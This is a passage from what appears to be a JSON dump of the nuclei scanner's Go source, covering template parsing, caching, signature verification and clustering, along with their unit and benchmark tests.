{\n\t\t\tclonedEvent := event.CloneShallow()\n\n\t\t\tresult, matched := operator.operator.Execute(clonedEvent.InternalEvent, e.requests.Match, e.requests.Extract, e.options.Options.Debug || e.options.Options.DebugResponse)\n\t\t\tif matched && result != nil {\n\t\t\t\tclonedEvent.OperatorsResult = result\n\t\t\t\tclonedEvent.InternalEvent[\"template-id\"] = operator.templateID\n\t\t\t\tclonedEvent.InternalEvent[\"template-path\"] = operator.templatePath\n\t\t\t\tclonedEvent.InternalEvent[\"template-info\"] = operator.templateInfo\n\t\t\t\tclonedEvent.Results = e.requests.MakeResultEvent(clonedEvent)\n\t\t\t\tscanCtx.LogEvent(clonedEvent)\n\t\t\t}\n\t\t}\n\t})\n\tif err != nil {\n\t\tctx.LogError(err)\n\t}\n\n\tif e.options.HostErrorsCache != nil {\n\t\te.options.HostErrorsCache.MarkFailedOrRemove(e.options.ProtocolType.String(), ctx.Input, err)\n\t}\n\treturn scanCtx.GenerateResult(), err\n}\n"
  },
  {
    "path": "pkg/templates/cluster_test.go",
    "content": "package templates\n\nimport (\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/dns\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/http\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestClusterTemplates(t *testing.T) {\n\t// state of whether template is flow or multiprotocol is stored in executerOptions i.e why we need to pass it\n\texecOptions := testutils.NewMockExecuterOptions(testutils.DefaultOptions, &testutils.TemplateInfo{\n\t\tID:   \"templateID\",\n\t\tInfo: model.Info{SeverityHolder: severity.Holder{Severity: severity.Low}, Name: \"test\"},\n\t})\n\tt.Run(\"http-cluster-get\", func(t *testing.T) {\n\t\ttp1 := &Template{Path: \"first.yaml\", RequestsHTTP: []*http.Request{{Path: []string{\"{{BaseURL}}\"}}}}\n\t\ttp2 := &Template{Path: \"second.yaml\", RequestsHTTP: []*http.Request{{Path: []string{\"{{BaseURL}}\"}}}}\n\t\ttp1.Options = execOptions\n\t\ttp2.Options = execOptions\n\t\ttpls := []*Template{tp1, tp2}\n\t\t// cluster 0\n\t\texpected := []*Template{tp1, tp2}\n\t\tgot := Cluster(tpls)[0]\n\t\trequire.ElementsMatchf(t, expected, got, \"different %v %v\", len(expected), len(got))\n\t})\n\tt.Run(\"no-http-cluster\", func(t *testing.T) {\n\t\ttp1 := &Template{Path: \"first.yaml\", RequestsHTTP: []*http.Request{{Path: []string{\"{{BaseURL}}/random\"}}}}\n\t\ttp2 := &Template{Path: \"second.yaml\", RequestsHTTP: []*http.Request{{Path: []string{\"{{BaseURL}}/another\"}}}}\n\t\ttp1.Options = execOptions\n\t\ttp2.Options = execOptions\n\t\ttpls := []*Template{tp1, tp2}\n\t\texpected := [][]*Template{{tp1}, {tp2}}\n\t\tgot := Cluster(tpls)\n\t\trequire.ElementsMatch(t, expected, got)\n\t})\n\tt.Run(\"dns-cluster\", func(t *testing.T) {\n\t\ttp1 := &Template{Path: \"first.yaml\", RequestsDNS: []*dns.Request{{Name: \"{{Hostname}}\"}}}\n\t\ttp2 := &Template{Path: \"second.yaml\", RequestsDNS: []*dns.Request{{Name: \"{{Hostname}}\"}}}\n\t\ttp1.Options = execOptions\n\t\ttp2.Options = execOptions\n\t\ttpls := []*Template{tp1, tp2}\n\t\t// cluster 0\n\t\texpected := []*Template{tp1, tp2}\n\t\tgot := Cluster(tpls)[0]\n\t\trequire.ElementsMatch(t, got, expected)\n\t})\n}\n"
  },
  {
    "path": "pkg/templates/compile.go",
    "content": "package templates\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"reflect\"\n\t\"sync\"\n\t\"sync/atomic\"\n\n\t\"github.com/logrusorgru/aurora\"\n\t\"github.com/pkg/errors\"\n\t\"gopkg.in/yaml.v2\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/compiler\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/globalmatchers\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/offlinehttp\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates/signer\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/tmplexec\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n)\n\nvar (\n\tErrCreateTemplateExecutor          = errors.New(\"cannot create template executer\")\n\tErrIncompatibleWithOfflineMatching = errors.New(\"template can't be used for offline matching\")\n\t// track how many templates are verified and by which signer\n\tSignatureStats = map[string]*atomic.Uint64{}\n)\n\nconst (\n\tUnsigned = \"unsigned\"\n)\n\nfunc init() {\n\tfor _, verifier := range signer.DefaultTemplateVerifiers {\n\t\tSignatureStats[verifier.Identifier()] = &atomic.Uint64{}\n\t}\n\tSignatureStats[Unsigned] = &atomic.Uint64{}\n}\n\n// updateRequestOptions updates options for all request types in a template\nfunc updateRequestOptions(template *Template) {\n\tfor i, r := range template.RequestsDNS {\n\t\trCopy := *r\n\t\trCopy.UpdateOptions(template.Options)\n\t\ttemplate.RequestsDNS[i] = &rCopy\n\t}\n\tfor i, r := range template.RequestsHTTP {\n\t\trCopy := *r\n\t\trCopy.UpdateOptions(template.Options)\n\t\ttemplate.RequestsHTTP[i] = &rCopy\n\t}\n\tfor i, r := range template.RequestsCode {\n\t\trCopy := *r\n\t\trCopy.UpdateOptions(template.Options)\n\t\ttemplate.RequestsCode[i] = &rCopy\n\t}\n\tfor i, r := range template.RequestsFile {\n\t\trCopy := *r\n\t\trCopy.UpdateOptions(template.Options)\n\t\ttemplate.RequestsFile[i] = &rCopy\n\t}\n\tfor i, r := range template.RequestsHeadless {\n\t\trCopy := *r\n\t\trCopy.UpdateOptions(template.Options)\n\t\ttemplate.RequestsHeadless[i] = &rCopy\n\t}\n\tfor i, r := range template.RequestsNetwork {\n\t\trCopy := *r\n\t\trCopy.UpdateOptions(template.Options)\n\t\ttemplate.RequestsNetwork[i] = &rCopy\n\t}\n\tfor i, r := range template.RequestsJavascript {\n\t\trCopy := *r\n\t\trCopy.UpdateOptions(template.Options)\n\t\ttemplate.RequestsJavascript[i] = &rCopy\n\t}\n\tfor i, r := range template.RequestsSSL {\n\t\trCopy := *r\n\t\trCopy.UpdateOptions(template.Options)\n\t\ttemplate.RequestsSSL[i] = &rCopy\n\t}\n\tfor i, r := range template.RequestsWHOIS {\n\t\trCopy := *r\n\t\trCopy.UpdateOptions(template.Options)\n\t\ttemplate.RequestsWHOIS[i] = &rCopy\n\t}\n\tfor i, r := range template.RequestsWebsocket {\n\t\trCopy := *r\n\t\trCopy.UpdateOptions(template.Options)\n\t\ttemplate.RequestsWebsocket[i] = &rCopy\n\t}\n}\n\n// parseFromSource parses a template from source with caching support\nfunc parseFromSource(filePath string, preprocessor Preprocessor, options *protocols.ExecutorOptions, parser *Parser) (*Template, error) {\n\treader, err := utils.ReaderFromPathOrURL(filePath, options.Catalog)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdefer func() {\n\t\t_ = reader.Close()\n\t}()\n\n\toptions = options.Copy()\n\toptions.TemplatePath = filePath\n\n\ttemplate, err := ParseTemplateFromReader(reader, preprocessor, options)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif template.isGlobalMatchersEnabled() {\n\t\titem := &globalmatchers.Item{\n\t\t\tTemplateID:   template.ID,\n\t\t\tTemplatePath: filePath,\n\t\t\tTemplateInfo: template.Info,\n\t\t}\n\n\t\tfor _, request := range template.RequestsHTTP {\n\t\t\titem.Operators = append(item.Operators, request.CompiledOperators)\n\t\t}\n\n\t\toptions.GlobalMatchers.AddOperator(item)\n\n\t\treturn nil, nil\n\t}\n\n\t// Compile the workflow request\n\tif len(template.Workflows) > 0 {\n\t\tcompiled := &template.Workflow\n\n\t\tcompileWorkflow(filePath, preprocessor, options, compiled, options.WorkflowLoader)\n\t\ttemplate.CompiledWorkflow = compiled\n\t\ttemplate.CompiledWorkflow.Options = options\n\t}\n\n\ttemplate.Path = filePath\n\tif !options.DoNotCache {\n\t\tparser.compiledTemplatesCache.StoreWithoutRaw(filePath, template, err)\n\t}\n\n\treturn template, nil\n}\n\n// getParser returns a cached parser instance\nfunc getParser(options *protocols.ExecutorOptions) *Parser {\n\tparser, ok := options.Parser.(*Parser)\n\tif !ok || parser == nil {\n\t\tpanic(\"invalid parser\")\n\t}\n\n\treturn parser\n}\n\n// Parse parses a yaml request template file\n// TODO make sure reading from the disk the template parsing happens once: see parsers.ParseTemplate vs templates.Parse\nfunc Parse(filePath string, preprocessor Preprocessor, options *protocols.ExecutorOptions) (*Template, error) {\n\tparser := getParser(options)\n\n\tif !options.DoNotCache {\n\t\tif value, _, _ := parser.compiledTemplatesCache.Has(filePath); value != nil {\n\t\t\t// Copy the template, apply new options, and recompile requests\n\t\t\ttplCopy := *value\n\t\t\tnewBase := options.Copy()\n\t\t\tnewBase.TemplateID = tplCopy.Options.TemplateID\n\t\t\tnewBase.TemplatePath = tplCopy.Options.TemplatePath\n\t\t\tnewBase.TemplateInfo = tplCopy.Options.TemplateInfo\n\t\t\tnewBase.TemplateVerifier = tplCopy.Options.TemplateVerifier\n\t\t\tnewBase.RawTemplate = tplCopy.Options.RawTemplate\n\n\t\t\tif tplCopy.Options.Variables.Len() > 0 {\n\t\t\t\tnewBase.Variables = tplCopy.Options.Variables\n\t\t\t}\n\n\t\t\tif len(tplCopy.Options.Constants) > 0 {\n\t\t\t\tnewBase.Constants = tplCopy.Options.Constants\n\t\t\t}\n\n\t\t\ttplCopy.Options = newBase\n\t\t\ttplCopy.Options.ApplyNewEngineOptions(options)\n\n\t\t\tif tplCopy.CompiledWorkflow != nil {\n\t\t\t\ttplCopy.CompiledWorkflow.Options.ApplyNewEngineOptions(options)\n\t\t\t\tfor _, w := range tplCopy.CompiledWorkflow.Workflows {\n\t\t\t\t\tfor _, ex := range w.Executers {\n\t\t\t\t\t\tex.Options.ApplyNewEngineOptions(options)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Update options for all request types\n\t\t\tupdateRequestOptions(&tplCopy)\n\t\t\ttemplate := &tplCopy\n\n\t\t\tif template.isGlobalMatchersEnabled() {\n\t\t\t\titem := &globalmatchers.Item{\n\t\t\t\t\tTemplateID:   template.ID,\n\t\t\t\t\tTemplatePath: filePath,\n\t\t\t\t\tTemplateInfo: template.Info,\n\t\t\t\t}\n\n\t\t\t\tfor _, request := range template.RequestsHTTP {\n\t\t\t\t\titem.Operators = append(item.Operators, request.CompiledOperators)\n\t\t\t\t}\n\n\t\t\t\toptions.GlobalMatchers.AddOperator(item)\n\n\t\t\t\treturn nil, nil\n\t\t\t}\n\n\t\t\t// Compile the workflow request\n\t\t\tif len(template.Workflows) > 0 {\n\t\t\t\tcompiled := &template.Workflow\n\t\t\t\tcompileWorkflow(filePath, preprocessor, tplCopy.Options, compiled, tplCopy.Options.WorkflowLoader)\n\t\t\t\ttemplate.CompiledWorkflow = compiled\n\t\t\t\ttemplate.CompiledWorkflow.Options = tplCopy.Options\n\t\t\t}\n\n\t\t\tif isCachedTemplateValid(template) {\n\t\t\t\t// options.Logger.Error().Msgf(\"returning cached template %s after recompiling %d requests\", tplCopy.Options.TemplateID, tplCopy.Requests())\n\t\t\t\treturn template, nil\n\t\t\t}\n\n\t\t\t// else: fallthrough to re-parse template from scratch\n\t\t}\n\t}\n\n\treturn parseFromSource(filePath, preprocessor, options, parser)\n}\n\n// isGlobalMatchersEnabled checks if any of requests in the template\n// have global matchers enabled. It iterates through all requests and\n// returns true if at least one request has global matchers enabled;\n// otherwise, it returns false. If global matchers templates are not\n// enabled in the options, the method will immediately return false.\n//\n// Note: This method only checks the `RequestsHTTP`\n// field of the template, which is specific to http-protocol-based\n// templates.\n//\n// TODO: support all protocols.\nfunc (template *Template) isGlobalMatchersEnabled() bool {\n\tif !template.Options.Options.EnableGlobalMatchersTemplates {\n\t\treturn false\n\t}\n\n\tfor _, request := range template.RequestsHTTP {\n\t\tif request.GlobalMatchers {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\n// parseSelfContainedRequests parses the self contained template requests.\nfunc (template *Template) parseSelfContainedRequests() {\n\tif template.Signature.Value.String() != \"\" {\n\t\tfor _, request := range template.RequestsHTTP {\n\t\t\trequest.Signature = template.Signature\n\t\t}\n\t}\n\tif !template.SelfContained {\n\t\treturn\n\t}\n\tfor _, request := range template.RequestsHTTP {\n\t\trequest.SelfContained = true\n\t}\n\tfor _, request := range template.RequestsNetwork {\n\t\trequest.SelfContained = true\n\t}\n\tfor _, request := range template.RequestsHeadless {\n\t\trequest.SelfContained = true\n\t}\n}\n\n// Requests returns the total request count for the template\nfunc (template *Template) Requests() int {\n\treturn len(template.RequestsDNS) +\n\t\tlen(template.RequestsHTTP) +\n\t\tlen(template.RequestsFile) +\n\t\tlen(template.RequestsNetwork) +\n\t\tlen(template.RequestsHeadless) +\n\t\tlen(template.Workflows) +\n\t\tlen(template.RequestsSSL) +\n\t\tlen(template.RequestsWebsocket) +\n\t\tlen(template.RequestsWHOIS) +\n\t\tlen(template.RequestsCode) +\n\t\tlen(template.RequestsJavascript)\n}\n\n// compileProtocolRequests compiles all the protocol requests for the template\nfunc (template *Template) compileProtocolRequests(options *protocols.ExecutorOptions) error {\n\ttemplateRequests := template.Requests()\n\n\tif templateRequests == 0 {\n\t\treturn fmt.Errorf(\"no requests defined for %s\", template.ID)\n\t}\n\n\tif options.Options.OfflineHTTP {\n\t\treturn template.compileOfflineHTTPRequest(options)\n\t}\n\n\tvar requests []protocols.Request\n\n\tif template.hasMultipleRequests() {\n\t\t// when multiple requests are present preserve the order of requests and protocols\n\t\t// which is already done during unmarshalling\n\t\trequests = template.RequestsQueue\n\t\tif options.Flow == \"\" {\n\t\t\toptions.IsMultiProtocol = true\n\t\t}\n\t} else {\n\t\tif template.HasDNSRequest() {\n\t\t\trequests = append(requests, template.convertRequestToProtocolsRequest(template.RequestsDNS)...)\n\t\t}\n\t\tif template.HasFileRequest() {\n\t\t\trequests = append(requests, template.convertRequestToProtocolsRequest(template.RequestsFile)...)\n\t\t}\n\t\tif template.HasNetworkRequest() {\n\t\t\trequests = append(requests, template.convertRequestToProtocolsRequest(template.RequestsNetwork)...)\n\t\t}\n\t\tif template.HasHTTPRequest() {\n\t\t\trequests = append(requests, template.convertRequestToProtocolsRequest(template.RequestsHTTP)...)\n\t\t}\n\t\tif template.HasHeadlessRequest() && options.Options.Headless {\n\t\t\trequests = append(requests, template.convertRequestToProtocolsRequest(template.RequestsHeadless)...)\n\t\t}\n\t\tif template.HasSSLRequest() {\n\t\t\trequests = append(requests, template.convertRequestToProtocolsRequest(template.RequestsSSL)...)\n\t\t}\n\t\tif template.HasWebsocketRequest() {\n\t\t\trequests = append(requests, template.convertRequestToProtocolsRequest(template.RequestsWebsocket)...)\n\t\t}\n\t\tif template.HasWHOISRequest() {\n\t\t\trequests = append(requests, template.convertRequestToProtocolsRequest(template.RequestsWHOIS)...)\n\t\t}\n\t\tif template.HasCodeRequest() && options.Options.EnableCodeTemplates {\n\t\t\trequests = append(requests, template.convertRequestToProtocolsRequest(template.RequestsCode)...)\n\t\t}\n\t\tif template.HasJavascriptRequest() {\n\t\t\trequests = append(requests, template.convertRequestToProtocolsRequest(template.RequestsJavascript)...)\n\t\t}\n\t}\n\tvar err error\n\ttemplate.Executer, err = tmplexec.NewTemplateExecuter(requests, options)\n\treturn err\n}\n\n// convertRequestToProtocolsRequest is a convenience wrapper to convert\n// arbitrary interfaces which are slices of requests from the template to a\n// slice of protocols.Request interface items.\nfunc (template *Template) convertRequestToProtocolsRequest(requests interface{}) []protocols.Request {\n\tswitch reflect.TypeOf(requests).Kind() {\n\tcase reflect.Slice:\n\t\ts := reflect.ValueOf(requests)\n\n\t\trequestSlice := make([]protocols.Request, s.Len())\n\t\tfor i := 0; i < s.Len(); i++ {\n\t\t\tvalue := s.Index(i)\n\t\t\tvalueInterface := value.Interface()\n\t\t\trequestSlice[i] = valueInterface.(protocols.Request)\n\t\t}\n\t\treturn requestSlice\n\t}\n\treturn nil\n}\n\n// compileOfflineHTTPRequest iterates all requests if offline http mode is\n// specified and collects all matchers for all the base request templates\n// (those with URL {{BaseURL}} and it's slash variation.)\nfunc (template *Template) compileOfflineHTTPRequest(options *protocols.ExecutorOptions) error {\n\toperatorsList := []*operators.Operators{}\n\nmainLoop:\n\tfor _, req := range template.RequestsHTTP {\n\t\thasPaths := len(req.Path) > 0\n\t\tif !hasPaths {\n\t\t\tbreak mainLoop\n\t\t}\n\t\tfor _, path := range req.Path {\n\t\t\tpathIsBaseURL := stringsutil.EqualFoldAny(path, \"{{BaseURL}}\", \"{{BaseURL}}/\", \"/\")\n\t\t\tif !pathIsBaseURL {\n\t\t\t\tbreak mainLoop\n\t\t\t}\n\t\t}\n\t\toperatorsList = append(operatorsList, &req.Operators)\n\t}\n\tif len(operatorsList) > 0 {\n\t\toptions.Operators = operatorsList\n\t\tvar err error\n\t\ttemplate.Executer, err = tmplexec.NewTemplateExecuter([]protocols.Request{&offlinehttp.Request{}}, options)\n\t\tif err != nil {\n\t\t\t// it seems like flow executor cannot be used for offline http matching (ex:http(1) && http(2))\n\t\t\treturn ErrIncompatibleWithOfflineMatching\n\t\t}\n\t\treturn err\n\t}\n\n\treturn ErrIncompatibleWithOfflineMatching\n}\n\n// ParseTemplateFromReader parses a template from an [io.Reader] with optional\n// preprocessing.\nfunc ParseTemplateFromReader(reader io.Reader, preprocessor Preprocessor, options *protocols.ExecutorOptions) (*Template, error) {\n\tdata, err := io.ReadAll(reader)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// a preprocessor is a variable like\n\t// {{randstr}} which is replaced before unmarshalling\n\t// as it is known to be a random static value per template\n\thasPreprocessor := false\n\tallPreprocessors := getPreprocessors(preprocessor)\n\tfor _, preprocessor := range allPreprocessors {\n\t\tif preprocessor.Exists(data) {\n\t\t\thasPreprocessor = true\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif !hasPreprocessor {\n\t\t// if no preprocessors exists parse template and exit\n\t\ttemplate, err := parseTemplate(data, options)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif !template.Verified && len(template.Workflows) == 0 {\n\t\t\tif config.DefaultConfig.LogAllEvents {\n\t\t\t\tgologger.DefaultLogger.Print().Msgf(\"[%v] Template %s is not signed or tampered\\n\", aurora.Yellow(\"WRN\").String(), template.ID)\n\t\t\t}\n\t\t}\n\t\treturn template, nil\n\t}\n\n\t// if preprocessor is required / exists in this template\n\t// expand all preprocessors, parse once, then verify against original data\n\tgeneratedConstants := map[string]interface{}{}\n\n\t// ==== execute preprocessors ======\n\tprocessedData := data\n\tfor _, v := range allPreprocessors {\n\t\tvar replaced map[string]interface{}\n\t\tprocessedData, replaced = v.ProcessNReturnData(processedData)\n\t\t// preprocess kind of act like a constant and are generated while loading\n\t\t// and stay constant for the template lifecycle\n\t\tgeneratedConstants = generators.MergeMaps(generatedConstants, replaced)\n\t}\n\n\ttemplate, err := parseTemplateNoVerify(processedData, options)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// add generated constants to constants map and executer options\n\ttemplate.Constants = generators.MergeMaps(template.Constants, generatedConstants)\n\ttemplate.Options.Constants = template.Constants\n\tapplyTemplateVerification(template, data)\n\n\tif !template.Verified && len(template.Workflows) == 0 {\n\t\t// workflows are not signed by default\n\t\tif config.DefaultConfig.LogAllEvents {\n\t\t\tgologger.DefaultLogger.Print().Msgf(\"[%v] Template %s is not signed or tampered\\n\", aurora.Yellow(\"WRN\").String(), template.ID)\n\t\t}\n\t}\n\n\treturn template, nil\n}\n\n// parseTemplate parses the template and applies verification.\nfunc parseTemplate(data []byte, srcOptions *protocols.ExecutorOptions) (*Template, error) {\n\ttemplate, err := parseTemplateNoVerify(data, srcOptions)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tapplyTemplateVerification(template, data)\n\n\treturn template, nil\n}\n\n// parseTemplateNoVerify parses the template without applying any verification.\nfunc parseTemplateNoVerify(data []byte, srcOptions *protocols.ExecutorOptions) (*Template, error) {\n\t// Create a copy of the options specifically for this template\n\toptions := srcOptions.Copy()\n\n\ttemplate := &Template{}\n\tvar err error\n\tswitch config.GetTemplateFormatFromExt(template.Path) {\n\tcase config.JSON:\n\t\terr = json.Unmarshal(data, template)\n\tcase config.YAML:\n\t\terr = yaml.Unmarshal(data, template)\n\tdefault:\n\t\t// assume its yaml\n\t\tif err = yaml.Unmarshal(data, template); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\tif err != nil {\n\t\treturn nil, errkit.Wrapf(err, \"failed to parse %s\", template.Path)\n\t}\n\n\tif utils.IsBlank(template.Info.Name) {\n\t\treturn nil, errors.New(\"no template name field provided\")\n\t}\n\tif template.Info.Authors.IsEmpty() {\n\t\treturn nil, errors.New(\"no template author field provided\")\n\t}\n\n\tnumberOfWorkflows := len(template.Workflows)\n\tif numberOfWorkflows > 0 && numberOfWorkflows != template.Requests() {\n\t\treturn nil, errors.New(\"workflows cannot have other protocols\")\n\t}\n\n\t// use default unknown severity\n\tif len(template.Workflows) == 0 {\n\t\tif template.Info.SeverityHolder.Severity == severity.Undefined {\n\t\t\t// set unknown severity with counter and forced warning\n\t\t\ttemplate.Info.SeverityHolder.Severity = severity.Unknown\n\t\t\tif options.Options.Validate {\n\t\t\t\t// when validating return error\n\t\t\t\treturn nil, errors.New(\"no template severity field provided\")\n\t\t\t}\n\t\t}\n\t}\n\n\t// Setting up variables regarding template metadata\n\toptions.TemplateID = template.ID\n\toptions.TemplateInfo = template.Info\n\toptions.StopAtFirstMatch = template.StopAtFirstMatch\n\n\tif template.Variables.Len() > 0 {\n\t\toptions.Variables = template.Variables\n\t}\n\n\t// if more than 1 request per protocol exist we add request id to protocol request\n\t// since in template context we have proto_prefix for each protocol it is overwritten\n\t// if request id is not present\n\ttemplate.validateAllRequestIDs()\n\n\t// create empty context args for template scope\n\toptions.CreateTemplateCtxStore()\n\toptions.ProtocolType = template.Type()\n\toptions.Constants = template.Constants\n\n\t// initialize the js compiler if missing\n\tif options.JsCompiler == nil {\n\t\toptions.JsCompiler = GetJsCompiler() // this is a singleton\n\t}\n\n\ttemplate.Options = options\n\t// If no requests, and it is also not a workflow, return error.\n\tif template.Requests() == 0 {\n\t\treturn nil, fmt.Errorf(\"no requests defined for %s\", template.ID)\n\t}\n\n\t// load `flow` and `source` in code protocol from file\n\t// if file is referenced instead of actual source code\n\tif err := template.ImportFileRefs(template.Options); err != nil {\n\t\treturn nil, errkit.Wrapf(err, \"failed to load file refs for %s\", template.ID)\n\t}\n\n\tif err := template.compileProtocolRequests(template.Options); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif template.Executer != nil {\n\t\tif err := template.Executer.Compile(); err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"could not compile request\")\n\t\t}\n\t\ttemplate.TotalRequests = template.Executer.Requests()\n\t}\n\tif template.Executer == nil && template.CompiledWorkflow == nil {\n\t\treturn nil, ErrCreateTemplateExecutor\n\t}\n\ttemplate.parseSelfContainedRequests()\n\n\treturn template, nil\n}\n\n// applyTemplateVerification verifies a parsed template against the provided data.\nfunc applyTemplateVerification(template *Template, data []byte) {\n\tif template == nil || template.Options == nil {\n\t\treturn\n\t}\n\n\toptions := template.Options\n\t// check if the template is verified\n\t// only valid templates can be verified or signed\n\tif options.TemplateVerificationCallback != nil && options.TemplatePath != \"\" {\n\t\tif cached := options.TemplateVerificationCallback(options.TemplatePath); cached != nil {\n\t\t\ttemplate.Verified = cached.Verified\n\t\t\ttemplate.TemplateVerifier = cached.Verifier\n\t\t\toptions.TemplateVerifier = cached.Verifier\n\t\t\t//nolint\n\t\t\tif !(template.Verified && template.TemplateVerifier == \"projectdiscovery/nuclei-templates\") {\n\t\t\t\ttemplate.Options.RawTemplate = data\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t}\n\n\tvar verifier *signer.TemplateSigner\n\tfor _, verifier = range signer.DefaultTemplateVerifiers {\n\t\ttemplate.Verified, _ = verifier.Verify(data, template)\n\t\tif config.DefaultConfig.LogAllEvents {\n\t\t\tgologger.Verbose().Msgf(\"template %v verified by %s : %v\", template.ID, verifier.Identifier(), template.Verified)\n\t\t}\n\t\tif template.Verified {\n\t\t\ttemplate.TemplateVerifier = verifier.Identifier()\n\t\t\tbreak\n\t\t}\n\t}\n\toptions.TemplateVerifier = template.TemplateVerifier\n\n\t//nolint\n\tif !(template.Verified && verifier.Identifier() == \"projectdiscovery/nuclei-templates\") {\n\t\ttemplate.Options.RawTemplate = data\n\t}\n}\n\n// isCachedTemplateValid validates that a cached template is still usable after\n// option updates\nfunc isCachedTemplateValid(template *Template) bool {\n\t// no requests or workflows\n\tif template.Requests() == 0 && len(template.Workflows) == 0 {\n\t\treturn false\n\t}\n\n\t// options not initialized\n\tif template.Options == nil {\n\t\treturn false\n\t}\n\n\t// executer not available for non-workflow template\n\tif len(template.Workflows) == 0 && template.Executer == nil {\n\t\treturn false\n\t}\n\n\t// compiled workflow not available\n\tif len(template.Workflows) > 0 && template.CompiledWorkflow == nil {\n\t\treturn false\n\t}\n\n\t// template ID mismatch\n\tif template.Options.TemplateID != template.ID {\n\t\treturn false\n\t}\n\n\t// executer exists but no requests or flow available\n\tif template.Executer != nil {\n\t\t// NOTE(dwisiswant0): This is a basic sanity check since we can't access\n\t\t// private fields, but we can check requests tho\n\t\tif template.Requests() == 0 && template.Options.Flow == \"\" {\n\t\t\treturn false\n\t\t}\n\t}\n\n\tif template.Options.Options == nil {\n\t\treturn false\n\t}\n\n\treturn true\n}\n\nvar (\n\tjsCompiler     *compiler.Compiler\n\tjsCompilerOnce = sync.OnceFunc(func() {\n\t\tjsCompiler = compiler.New()\n\t})\n)\n\nfunc GetJsCompiler() *compiler.Compiler {\n\tjsCompilerOnce()\n\treturn jsCompiler\n}\n"
  },
  {
    "path": "pkg/templates/compile_bench_test.go",
    "content": "package templates_test\n\nimport (\n\t\"bytes\"\n\t\"io\"\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates\"\n)\n\nfunc BenchmarkParse(b *testing.B) {\n\tfilePath := \"tests/match-1.yaml\"\n\n\tsetup()\n\tb.ResetTimer()\n\tb.ReportAllocs()\n\n\tfor b.Loop() {\n\t\t_, err := templates.Parse(filePath, nil, executerOpts)\n\t\tif err != nil {\n\t\t\tb.Fatalf(\"could not parse template: %s\", err)\n\t\t}\n\t}\n}\n\nfunc BenchmarkParseTemplateFromReader(b *testing.B) {\n\tfilePath := \"tests/match-1.yaml\"\n\n\tfile, err := os.Open(filePath)\n\tif err != nil {\n\t\tb.Fatalf(\"could not open template file: %s\", err)\n\t}\n\tdefer func() {\n\t\t_ = file.Close()\n\t}()\n\n\tcontent, err := io.ReadAll(file)\n\tif err != nil {\n\t\tb.Fatalf(\"could not read template file: %s\", err)\n\t}\n\n\tsetup()\n\n\t// Prepare the options with template path set.\n\t//\n\t// TODO(dwisiswant0): ParseTemplateFromReader should ideally work with just\n\t// a reader without requiring path information, making it more flexible for\n\t// in-memory templates or templates from non-file sources, the function\n\t// unnecessarily couples the parsing logic to filepath info when it should\n\t// primarily care about the content because it only needs a reader, but it\n\t// actually requires path information in the options.\n\t//\n\t// The current implementation fails with a confusing error about template\n\t// format detection, \"no template name field provided\", rather than\n\t// explicitly stating that a path is required.\n\topts := executerOpts.Copy()\n\topts.TemplatePath = filePath\n\n\tb.ResetTimer()\n\tb.ReportAllocs()\n\n\tfor b.Loop() {\n\t\treader := bytes.NewReader(content)\n\t\t_, err := templates.ParseTemplateFromReader(reader, nil, opts)\n\t\tif err != nil {\n\t\t\tb.Fatalf(\"could not parse template from reader: %s\", err)\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "pkg/templates/compile_test.go",
